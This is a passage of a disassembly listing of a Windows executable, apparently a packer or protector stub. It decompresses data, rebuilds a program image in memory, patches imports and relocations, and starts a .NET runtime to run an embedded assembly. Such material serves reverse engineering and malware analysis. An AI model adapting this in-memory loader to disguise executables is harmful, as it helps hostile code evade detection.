eax, [ebp+var_34] push eax lea eax, [ebx+edi] push eax call sub_4373BA or ebx, eax pop ecx cmp ebx, 100h pop ecx jl short loc_437741 loc_43775C: ; CODE XREF: sub_4375EB+151j mov eax, [ebp+arg_1C] jmp short loc_4377D4 ; --------------------------------------------------------------------------- loc_437761: ; CODE XREF: sub_4375EB+E0j mov ebx, [ebp+var_4] lea eax, [ebp+var_34] push eax mov [ebp+var_14], 1 lea eax, [esi+ebx*2+180h] push eax call sub_4373BA pop ecx cmp eax, 1 pop ecx jnz loc_43785A lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+198h] push eax call sub_4373BA pop ecx test eax, eax pop ecx lea eax, [ebp+var_34] push eax jnz short loc_4377E2 lea eax, [ebx+0Fh] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4373BA pop ecx test eax, eax pop ecx jnz short loc_43782E cmp ebx, 7 mov ecx, [ebp+arg_C] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+arg_1C] mov bl, [ecx+eax] loc_4377D4: ; CODE XREF: sub_4375EB+174j mov ecx, [ebp+arg_C] inc [ebp+arg_C] mov [ecx+eax], bl jmp loc_437945 ; --------------------------------------------------------------------------- loc_4377E2: ; CODE XREF: sub_4375EB+1B5j lea eax, [esi+ebx*2+1B0h] push eax call sub_4373BA pop ecx test eax, eax pop ecx jnz short loc_4377FA mov eax, [ebp+var_10] jmp short loc_437825 ; --------------------------------------------------------------------------- loc_4377FA: ; CODE XREF: sub_4375EB+208j lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+1C8h] push eax call sub_4373BA pop ecx test eax, eax pop ecx jnz short loc_437816 mov eax, [ebp+var_C] jmp short loc_43781F ; --------------------------------------------------------------------------- loc_437816: ; CODE XREF: sub_4375EB+224j mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov [ebp+var_18], ecx loc_43781F: ; CODE XREF: sub_4375EB+229j mov ecx, [ebp+var_10] mov [ebp+var_C], ecx loc_437825: ; CODE XREF: sub_4375EB+20Dj mov ecx, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_10], ecx loc_43782E: ; CODE XREF: sub_4375EB+1CCj lea eax, [ebp+var_34] push edi push eax lea eax, [esi+0A68h] push eax call sub_437576 mov edi, eax add esp, 0Ch xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov [ebp+var_4], eax jmp loc_43791E ; --------------------------------------------------------------------------- loc_43785A: ; CODE XREF: sub_4375EB+196j mov eax, [ebp+var_C] push edi mov [ebp+var_18], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov [ebp+var_10], eax xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Ah mov [ebp+var_4], eax lea eax, [ebp+var_34] push eax lea eax, [esi+664h] push eax call sub_437576 mov edi, eax add esp, 0Ch cmp edi, 4 jge short loc_43789A jmp short loc_43789D ; --------------------------------------------------------------------------- loc_43789A: ; CODE XREF: sub_4375EB+2ABj push 3 pop eax loc_43789D: ; CODE XREF: sub_4375EB+2ADj shl eax, 7 lea ecx, [ebp+var_34] push ecx lea eax, [eax+esi+360h] push 6 push eax call sub_43747F add esp, 0Ch cmp eax, 4 jl short loc_437915 mov ecx, eax mov ebx, eax sar ecx, 1 and ebx, 1 dec ecx or ebx, 2 shl ebx, cl cmp eax, 0Eh jge short loc_4378EC lea edx, [ebp+var_34] push edx push ecx mov ecx, ebx sub ecx, eax lea eax, [esi+ecx*2+55Eh] push eax call sub_4374B6 add esp, 0Ch loc_4378E8: ; CODE XREF: sub_4375EB+328j add ebx, eax jmp short loc_43791A ; --------------------------------------------------------------------------- loc_4378EC: ; CODE XREF: sub_4375EB+2E2j add ecx, 0FFFFFFFCh lea eax, [ebp+var_34] push ecx push eax call sub_437358 shl eax, 4 add ebx, eax lea eax, [ebp+var_34] push eax lea eax, [esi+644h] push 4 push eax call sub_4374B6 add esp, 14h jmp short loc_4378E8 ; --------------------------------------------------------------------------- loc_437915: ; CODE XREF: sub_4375EB+2CEj mov [ebp+var_8], eax mov ebx, eax loc_43791A: ; CODE XREF: sub_4375EB+2FFj inc ebx mov [ebp+var_8], ebx loc_43791E: ; CODE XREF: sub_4375EB+26Aj cmp [ebp+var_8], 0 jz short loc_437951 inc edi inc edi loc_437926: ; CODE XREF: sub_4375EB+358j mov ecx, [ebp+arg_C] mov eax, [ebp+arg_1C] mov edx, ecx sub edx, [ebp+var_8] mov bl, [edx+eax] mov [ecx+eax], bl inc ecx dec edi mov [ebp+arg_C], ecx test edi, edi jle short loc_437945 cmp ecx, [ebp+arg_20] jb short loc_437926 loc_437945: ; CODE XREF: sub_4375EB+1F2j ; sub_4375EB+353j mov eax, [ebp+arg_C] cmp eax, [ebp+arg_20] jb loc_4376AC loc_437951: ; CODE XREF: sub_4375EB+BBj ; sub_4375EB+337j mov ecx, [ebp+arg_24] mov eax, [ebp+arg_C] pop edi pop esi mov [ecx], eax xor eax, eax pop ebx leave retn sub_4375EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437960 proc near ; CODE XREF: start+1A2p start+25Cp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi push edi mov cl, [eax] cmp cl, 0E1h jnb short loc_4379D2 xor ebx, ebx cmp cl, 2Dh mov [ebp+var_4], ebx jb short loc_437990 movzx eax, cl push 2Dh xor edx, edx pop esi div esi mov [ebp+var_4], eax loc_43798A: ; CODE XREF: sub_437960+2Ej add cl, 0D3h dec eax jnz short loc_43798A loc_437990: ; CODE XREF: sub_437960+1Bj cmp cl, 9 jb short loc_4379A7 movzx eax, cl push 9 xor edx, edx pop esi div esi mov ebx, eax loc_4379A1: ; CODE XREF: sub_437960+45j add cl, 0F7h dec eax jnz short loc_4379A1 loc_4379A7: ; CODE XREF: sub_437960+33j movzx esi, cl mov eax, 300h push 4 lea ecx, [esi+ebx] push 1000h shl eax, cl lea edi, [eax+eax+0E6Ch] push edi push 0 call ds:dword_437238 ; VirtualAlloc test eax, eax mov [ebp+var_C], eax jnz short loc_4379D7 loc_4379D2: ; CODE XREF: sub_437960+11j push 1 pop eax jmp short loc_437A34 ; --------------------------------------------------------------------------- loc_4379D7: ; CODE XREF: sub_437960+70j lea ecx, [ebp+var_8] push ecx mov ecx, [ebp+arg_4] push 0FFFFFFFFh add ecx, 0FFFFFFFBh push [ebp+arg_8] push ecx mov ecx, [ebp+arg_0] add ecx, 5 push ecx push [ebp+var_4] push ebx push esi push edi push eax call sub_4375EB add esp, 28h mov esi, [ebp+var_8] xor ebx, ebx mov edi, eax push 8000h push ebx push [ebp+var_C] call ds:dword_437234 ; VirtualFree lea eax, [ebp+var_10] mov [ebp+var_14], ebx push eax lea eax, [ebp+var_14] push eax push ebx push esi mov [ebp+var_10], 0FFFFFFFBh push [ebp+arg_8] call sub_438539 add esp, 14h mov eax, edi loc_437A34: ; CODE XREF: sub_437960+75j pop edi pop esi pop ebx leave retn sub_437960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: start+30o var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00438232 SIZE 00000005 BYTES push ebp mov ebp, esp sub esp, 60h push ebx push esi push edi and [ebp+var_28], 0 rep jmp short loc_437A55 ; --------------------------------------------------------------------------- db 65h, 58h, 50h dd 2E762D72h, 2E342E31h db 0 ; --------------------------------------------------------------------------- loc_437A55: ; CODE XREF: start+Dj mov eax, ds:dword_437000 add eax, offset dword_437000 mov ds:off_437024, eax mov eax, ds:off_437024 mov ecx, offset start sub ecx, [eax+18h] mov ds:dword_437028, ecx cmp ds:dword_43702C, 0 jz short loc_437A96 mov eax, ds:off_437024 mov ecx, ds:dword_437028 add ecx, [eax+14h] mov [ebp+var_38], ecx jmp loc_4381CD ; --------------------------------------------------------------------------- loc_437A96: ; CODE XREF: start+45j mov ds:dword_43702C, 1 push 4 push 1000h push 80h push 0 call ds:dword_437238 ; VirtualAlloc mov [ebp+var_24], eax cmp [ebp+arg_4], 1 jz short loc_437AC1 and [ebp+arg_0], 0 loc_437AC1: ; CODE XREF: start+82j push 4 push 1000h push 104h push 0 call ds:dword_437238 ; VirtualAlloc mov [ebp+var_14], eax push 104h push [ebp+var_14] push [ebp+arg_0] call ds:dword_437250 ; GetModuleFileNameA mov ecx, [ebp+var_14] lea eax, [ecx+eax-1] mov [ebp+var_58], eax loc_437AF3: ; CODE XREF: start+CCj mov eax, [ebp+var_58] movsx eax, byte ptr [eax] cmp eax, 5Ch jz short loc_437B07 mov eax, [ebp+var_58] dec eax mov [ebp+var_58], eax jmp short loc_437AF3 ; --------------------------------------------------------------------------- loc_437B07: ; CODE XREF: start+C3j mov eax, [ebp+var_58] inc eax mov [ebp+var_58], eax mov eax, [ebp+var_58] sub eax, [ebp+var_14] mov [ebp+var_54], eax push 4 push 1000h push 104h push 0 call ds:dword_437238 ; VirtualAlloc mov [ebp+var_4], eax mov ecx, [ebp+var_54] mov esi, [ebp+var_14] mov edi, [ebp+var_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_4] add eax, [ebp+var_54] and byte ptr [eax+1], 0 mov eax, ds:dword_437020 shl eax, 6 mov ecx, ds:dword_437028 add ecx, eax mov [ebp+var_44], ecx mov eax, [ebp+var_44] mov ecx, ds:dword_437028 add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] add eax, 0F8h mov [ebp+var_40], eax mov eax, ds:off_437024 cmp dword ptr [eax+68h], 0 jz short loc_437BFA mov eax, ds:off_437024 mov ecx, ds:dword_437028 add ecx, [eax+80h] mov ds:dword_4386BC, ecx mov eax, ds:dword_4386BC mov [ebp+var_3C], eax mov eax, ds:off_437024 mov eax, [eax+8] mov ds:dword_4386C0, eax mov eax, ds:off_437024 mov ecx, ds:dword_437028 add ecx, [eax+10h] mov ds:off_4386B8, ecx push ds:dword_4386BC mov eax, ds:off_437024 push dword ptr [eax+4] push ds:off_4386B8 call sub_437960 add esp, 0Ch mov eax, ds:off_437024 push dword ptr [eax+6Ch] push [ebp+var_3C] call sub_4382B8 pop ecx pop ecx jmp loc_438230 ; --------------------------------------------------------------------------- loc_437BFA: ; CODE XREF: start+14Cj mov eax, ds:off_437024 cmp dword ptr [eax+64h], 0 jz loc_437D24 push 4 push 1000h mov eax, ds:off_437024 push dword ptr [eax+4] push 0 call ds:dword_437238 ; VirtualAlloc mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov ds:dword_4386BC, eax cmp ds:dword_4386BC, 0 jnz short loc_437C4E push 30h push [ebp+var_58] push offset aErrorAllocatin ; "Error allocating memory!" push 0 call ds:dword_437260 ; MessageBoxA push 0 call ds:dword_43724C ; ExitProcess loc_437C4E: ; CODE XREF: start+1F9j mov eax, ds:off_437024 mov eax, [eax+8] mov ds:dword_4386C0, eax mov eax, ds:off_437024 mov ecx, ds:dword_437028 add ecx, [eax+10h] mov eax, ds:off_437024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov ds:off_4386B8, ecx push ds:dword_4386BC mov eax, ds:off_437024 push dword ptr [eax+4] push ds:off_4386B8 call sub_437960 add esp, 0Ch jmp short loc_437CA6 ; --------------------------------------------------------------------------- loc_437C9F: ; CODE XREF: start+2D4j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_437CA6: ; CODE XREF: start+264j mov eax, ds:off_437024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge short loc_437D0F mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_437024 mov ecx, [ecx+eax+7Ch] mov esi, ds:dword_4386BC mov eax, [ebp+var_28] imul eax, 18h mov edx, ds:off_437024 mov edi, ds:dword_437028 add edi, [edx+eax+80h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_437024 mov edx, ds:dword_4386BC add edx, [ecx+eax+7Ch] mov ds:dword_4386BC, edx jmp short loc_437C9F ; --------------------------------------------------------------------------- loc_437D0F: ; CODE XREF: start+279j push 8000h push 0 push [ebp+var_3C] call ds:dword_437234 ; VirtualFree jmp loc_437E0E ; --------------------------------------------------------------------------- loc_437D24: ; CODE XREF: start+1CAj mov eax, ds:off_437024 mov ecx, ds:dword_437028 add ecx, [eax+10h] mov eax, ds:off_437024 sub ecx, [eax+0Ch] mov eax, ds:off_437024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_3C], ecx and [ebp+var_28], 0 jmp short loc_437D5C ; --------------------------------------------------------------------------- loc_437D55: ; CODE XREF: start:loc_437E09j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_437D5C: ; CODE XREF: start+31Aj mov eax, ds:off_437024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge loc_437E0E mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_437024 cmp dword ptr [ecx+eax+74h], 0 jz loc_437E09 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_437024 cmp dword ptr [ecx+eax+7Ch], 0 jbe short loc_437E09 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_437024 mov edx, ds:dword_437028 add edx, [ecx+eax+80h] mov ds:dword_4386BC, edx mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_437024 mov eax, [ecx+eax+7Ch] mov ds:dword_4386C0, eax mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_437024 mov edx, [ebp+var_3C] add edx, [ecx+eax+78h] mov ds:off_4386B8, edx push ds:dword_4386BC mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_437024 push dword ptr [ecx+eax+7Ch] push ds:off_4386B8 call sub_437960 add esp, 0Ch loc_437E09: ; CODE XREF: start+346j start+35Dj jmp loc_437D55 ; --------------------------------------------------------------------------- loc_437E0E: ; CODE XREF: start+2E6j start+32Fj mov eax, ds:off_437024 mov ecx, ds:dword_437028 add ecx, [eax+24h] mov [ebp+var_50], ecx loc_437E1F: ; CODE XREF: start+5F7j mov eax, [ebp+var_50] cmp dword ptr [eax+0Ch], 0 jz loc_438035 mov eax, ds:off_437024 cmp dword ptr [eax+24h], 0 jz loc_438035 lea eax, [ebp+var_48] push eax push 40h push 14h push [ebp+var_50] call ds:dword_437248 ; VirtualProtect mov eax, [ebp+var_50] mov ecx, ds:dword_437028 add ecx, [eax+0Ch] mov [ebp+var_C], ecx push [ebp+var_C] call ds:dword_437244 ; GetModuleHandleA mov [ebp+var_30], eax cmp [ebp+var_30], 0 jnz short loc_437E7D push 8 push 0 push [ebp+var_C] call ds:dword_437240 ; LoadLibraryExA mov [ebp+var_30], eax loc_437E7D: ; CODE XREF: start+432j cmp [ebp+var_30], 0 jnz short loc_437EBB mov edi, [ebp+var_C] mov eax, [ebp+var_4] add eax, [ebp+var_54] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push 0 push [ebp+var_4] call ds:dword_437240 ; LoadLibraryExA mov [ebp+var_30], eax loc_437EBB: ; CODE XREF: start+448j cmp [ebp+var_30], 0 jnz short loc_437EED push [ebp+var_C] push offset aARequired_dllF ; "A required .DLL file, %hs, was not foun"... push [ebp+var_24] call ds:dword_43725C ; wsprintfA add esp, 0Ch push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_437260 ; MessageBoxA push 0 call ds:dword_43724C ; ExitProcess loc_437EED: ; CODE XREF: start+486j mov eax, [ebp+var_50] mov ecx, [ebp+var_30] mov [eax+8], ecx mov eax, [ebp+var_50] mov dword ptr [eax+4], 0CDC31337h mov eax, [ebp+var_50] mov ecx, ds:dword_437028 add ecx, [eax+10h] mov [ebp+var_20], ecx mov eax, [ebp+var_50] cmp dword ptr [eax], 0 jnz short loc_437F1F mov eax, [ebp+var_20] mov [ebp+var_18], eax jmp short loc_437F2D ; --------------------------------------------------------------------------- loc_437F1F: ; CODE XREF: start+4DCj mov eax, [ebp+var_50] mov ecx, ds:dword_437028 add ecx, [eax] mov [ebp+var_18], ecx loc_437F2D: ; CODE XREF: start+4E4j start+5E9j mov eax, [ebp+var_18] cmp dword ptr [eax], 0 jz loc_438027 and [ebp+var_5C], 0 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_437F67 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_30] call ds:dword_43723C ; GetProcAddress mov [ebp+var_5C], eax jmp short loc_437F87 ; --------------------------------------------------------------------------- loc_437F67: ; CODE XREF: start+510j mov eax, [ebp+var_18] mov eax, [eax] add eax, ds:dword_437028 mov [ebp+var_8], eax mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_30] call ds:dword_43723C ; GetProcAddress mov [ebp+var_5C], eax loc_437F87: ; CODE XREF: start+52Cj cmp [ebp+var_5C], 0 jnz short loc_437FF7 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_437FC2 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsLin ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:dword_43725C ; wsprintfA add esp, 14h jmp short loc_437FDF ; --------------------------------------------------------------------------- loc_437FC2: ; CODE XREF: start+560j mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsL_0 ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:dword_43725C ; wsprintfA add esp, 14h loc_437FDF: ; CODE XREF: start+587j push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_437260 ; MessageBoxA push 0 call ds:dword_43724C ; ExitProcess loc_437FF7: ; CODE XREF: start+552j lea eax, [ebp+var_48] push eax push 40h push 4 push [ebp+var_20] call ds:dword_437248 ; VirtualProtect mov eax, [ebp+var_20] mov ecx, [ebp+var_5C] mov [eax], ecx mov eax, [ebp+var_18] add eax, 4 mov [ebp+var_18], eax mov eax, [ebp+var_20] add eax, 4 mov [ebp+var_20], eax jmp loc_437F2D ; --------------------------------------------------------------------------- loc_438027: ; CODE XREF: start+4FAj mov eax, [ebp+var_50] add eax, 14h mov [ebp+var_50], eax jmp loc_437E1F ; --------------------------------------------------------------------------- loc_438035: ; CODE XREF: start+3EDj start+3FCj mov eax, ds:off_437024 mov eax, [eax+1Ch] cmp eax, ds:dword_437028 jz loc_4381AC mov eax, ds:off_437024 cmp dword ptr [eax+28h], 0 jz loc_4381AC mov eax, ds:off_437024 mov ecx, ds:dword_437028 add ecx, [eax+28h] mov [ebp+var_34], ecx loc_438069: ; CODE XREF: start+76Ej mov eax, [ebp+var_34] cmp dword ptr [eax], 0 jz loc_4381AC mov eax, [ebp+var_34] add eax, 8 mov [ebp+var_4C], eax and [ebp+var_28], 0 jmp short loc_43808B ; --------------------------------------------------------------------------- loc_438084: ; CODE XREF: start+75Dj mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_43808B: ; CODE XREF: start+649j mov eax, [ebp+var_34] mov eax, [eax+4] sub eax, 8 cdq sub eax, edx sar eax, 1 cmp [ebp+var_28], eax jge loc_43819B mov eax, [ebp+var_34] mov eax, [eax] add eax, ds:dword_437028 mov ecx, [ebp+var_4C] movzx ecx, word ptr [ecx] and ecx, 0FFFh add eax, ecx mov [ebp+var_1C], eax mov eax, [ebp+var_4C] movzx eax, word ptr [eax] sar eax, 0Ch mov [ebp+var_60], eax cmp [ebp+var_60], 0 jz short loc_4380DB cmp [ebp+var_60], 3 jz short loc_4380E0 jmp loc_438161 ; --------------------------------------------------------------------------- loc_4380DB: ; CODE XREF: start+695j jmp loc_43818E ; --------------------------------------------------------------------------- loc_4380E0: ; CODE XREF: start+69Bj mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_48], eax mov eax, ds:off_437024 mov ecx, [ebp+var_48] sub ecx, [eax+1Ch] add ecx, ds:dword_437028 mov [ebp+var_48], ecx mov eax, [ebp+var_48] cmp eax, ds:dword_437028 jb short loc_438118 mov eax, [ebp+var_10] mov ecx, ds:dword_437028 add ecx, [eax+50h] cmp [ebp+var_48], ecx jbe short loc_438146 loc_438118: ; CODE XREF: start+6CCj mov eax, [ebp+var_1C] push dword ptr [eax] push offset aErrorBadReloca ; "Error bad relocation pointer: *pdw = 0x"... push [ebp+var_24] call ds:dword_43725C ; wsprintfA add esp, 0Ch push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_437260 ; MessageBoxA push 0 call ds:dword_43724C ; ExitProcess loc_438146: ; CODE XREF: start+6DDj lea eax, [ebp+var_2C] push eax push 40h push 4 push [ebp+var_1C] call ds:dword_437248 ; VirtualProtect mov eax, [ebp+var_1C] mov ecx, [ebp+var_48] mov [eax], ecx jmp short loc_43818E ; --------------------------------------------------------------------------- loc_438161: ; CODE XREF: start+69Dj mov eax, [ebp+var_1C] push dword ptr [eax] mov eax, [ebp+var_4C] movzx eax, word ptr [eax] push eax push offset aUnexpectedRelo ; "Unexpected relocation type: *pw = 0x%04"... push [ebp+var_24] call ds:dword_43725C ; wsprintfA add esp, 10h push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_437260 ; MessageBoxA loc_43818E: ; CODE XREF: start:loc_4380DBj ; start+726j mov eax, [ebp+var_4C] inc eax inc eax mov [ebp+var_4C], eax jmp loc_438084 ; --------------------------------------------------------------------------- loc_43819B: ; CODE XREF: start+663j mov eax, [ebp+var_34] mov ecx, [ebp+var_34] add ecx, [eax+4] mov [ebp+var_34], ecx jmp loc_438069 ; --------------------------------------------------------------------------- loc_4381AC: ; CODE XREF: start+60Aj start+619j ... mov eax, ds:off_437024 cmp dword ptr [eax+30h], 0 jz short loc_4381BC call sub_43828D loc_4381BC: ; CODE XREF: start+77Cj mov eax, ds:off_437024 mov ecx, ds:dword_437028 add ecx, [eax+14h] mov [ebp+var_38], ecx loc_4381CD: ; CODE XREF: start+58j ; start:loc_438230j push 8000h push 0 push [ebp+var_24] call ds:dword_437234 ; VirtualFree push 8000h push 0 push [ebp+var_4] call ds:dword_437234 ; VirtualFree push 8000h push 0 push [ebp+var_14] call ds:dword_437234 ; VirtualFree mov eax, ds:off_437024 cmp dword ptr [eax+68h], 0 jz short loc_438210 push 0 call ds:dword_43724C ; ExitProcess loc_438210: ; CODE XREF: start+7CDj mov eax, [ebp+var_38] pop edi pop esi pop ebx add esp, 60h pop ebp push eax mov eax, ds:off_437024 cmp dword ptr [eax+14h], 0 jnz short loc_43822B pop eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_43822B: ; CODE XREF: start+7EBj pop eax jmp eax ; --------------------------------------------------------------------------- jmp short loc_438232 ; --------------------------------------------------------------------------- loc_438230: ; CODE XREF: start+1BCj jmp short loc_4381CD start endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_438232: ; CODE XREF: start+7F5j pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438237 proc near ; CODE XREF: sub_43828D+25p ; DATA XREF: .ex_cod:00437004o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_43700C, 0 push esi jz short loc_438266 mov eax, ds:off_437024 mov esi, [eax+40h] test esi, esi jz short loc_438288 loc_438250: ; CODE XREF: sub_438237+2Dj mov eax, [esi] test eax, eax jz short loc_438288 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call eax add esi, 4 jmp short loc_438250 ; --------------------------------------------------------------------------- loc_438266: ; CODE XREF: sub_438237+Bj mov eax, [ebp+arg_0] mov ds:dword_437010, 1 mov ds:dword_437014, eax mov eax, [ebp+arg_4] mov ds:dword_437018, eax mov eax, [ebp+arg_8] mov ds:dword_43701C, eax loc_438288: ; CODE XREF: sub_438237+17j ; sub_438237+1Dj pop esi pop ebp retn 0Ch sub_438237 endp ; =============== S U B R O U T I N E ======================================= sub_43828D proc near ; CODE XREF: start+77Ep cmp ds:dword_437010, 0 mov ds:dword_43700C, 1 jz short locret_4382B7 push ds:dword_43701C push ds:dword_437018 push ds:dword_437014 call sub_438237 locret_4382B7: ; CODE XREF: sub_43828D+11j retn sub_43828D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4382B8 proc near ; CODE XREF: start+1B5p var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi mov edi, ds:dword_437254 xor ebx, ebx push offset aOle32_dll ; "ole32.dll" mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call edi ; LoadLibraryA mov esi, ds:dword_43723C push offset aCoinitialize ; "CoInitialize" push eax mov [ebp+var_38], eax call esi ; GetProcAddress push offset aCouninitialize ; "CoUninitialize" mov [ebp+var_18], eax push [ebp+var_38] call esi ; GetProcAddress push offset aMscoree_dll ; "mscoree.dll" mov [ebp+var_38], eax call edi ; LoadLibraryA push offset aCorbindtorunti ; "CorBindToRuntimeEx" push eax call esi ; GetProcAddress push offset aOleaut32_dll ; "oleaut32.dll" mov [ebp+var_1C], eax call edi ; LoadLibraryA mov edi, eax push 19Bh push edi call esi ; GetProcAddress push 17h push edi mov [ebp+var_20], eax call esi ; GetProcAddress push 18h push edi mov [ebp+var_24], eax call esi ; GetProcAddress push 8 push edi mov [ebp+var_2C], eax call esi ; GetProcAddress push 10h push edi mov [ebp+var_30], eax call esi ; GetProcAddress cmp [ebp+var_18], ebx mov [ebp+var_34], eax jz loc_4384E6 cmp [ebp+var_38], ebx jz loc_4384E6 cmp [ebp+var_1C], ebx jz loc_4384E6 cmp [ebp+var_20], ebx jz loc_4384E6 cmp [ebp+var_24], ebx jz loc_4384E6 cmp [ebp+var_2C], ebx jz loc_4384E6 cmp [ebp+var_30], ebx jz loc_4384E6 cmp eax, ebx jz loc_4384E6 push ebx call [ebp+var_18] test eax, eax jl loc_4384E6 lea eax, [ebp+var_4] push eax push offset loc_437338 push (offset loc_437345+3) push 2 push offset aWks ; "wks" push ebx call [ebp+var_1C] test eax, eax jl loc_4384E6 mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+28h] test eax, eax jl loc_4384E6 mov eax, [ebp+var_4] lea edx, [ebp+var_8] push edx push eax mov ecx, [eax] call dword ptr [ecx+34h] test eax, eax mov eax, [ebp+var_8] jl loc_4384E9 mov ecx, [eax] lea edx, [ebp+var_14] push edx push offset dword_437150 push eax call dword ptr [ecx] test eax, eax jl loc_4384E6 push [ebp+arg_4] push ebx push 11h call [ebp+var_20] cmp eax, ebx mov [ebp+var_18], eax jz loc_4384E6 lea ecx, [ebp+var_28] mov [ebp+var_28], ebx push ecx push eax call [ebp+var_24] test eax, eax jge short loc_43843F mov eax, [ebp+var_8] cmp eax, ebx jz short loc_438429 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_438429: ; CODE XREF: sub_4382B8+169j mov eax, [ebp+var_4] cmp eax, ebx jz loc_4384CC mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_4384CC ; --------------------------------------------------------------------------- loc_43843F: ; CODE XREF: sub_4382B8+162j mov ecx, [ebp+arg_4] mov esi, [ebp+arg_0] mov edi, [ebp+var_28] mov eax, ecx shr ecx, 2 rep movsd push [ebp+var_18] mov ecx, eax and ecx, 3 rep movsb call [ebp+var_2C] mov eax, [ebp+var_14] lea edx, [ebp+var_10] push edx push [ebp+var_18] mov ecx, [eax] push eax call dword ptr [ecx+0B4h] test eax, eax jl short loc_4384B7 mov eax, [ebp+var_10] lea edx, [ebp+var_C] push edx push eax mov ecx, [eax] call dword ptr [ecx+40h] test eax, eax jl short loc_4384B7 lea eax, [ebp+var_48] push eax call [ebp+var_30] push ebx push ebx sub esp, 10h lea esi, 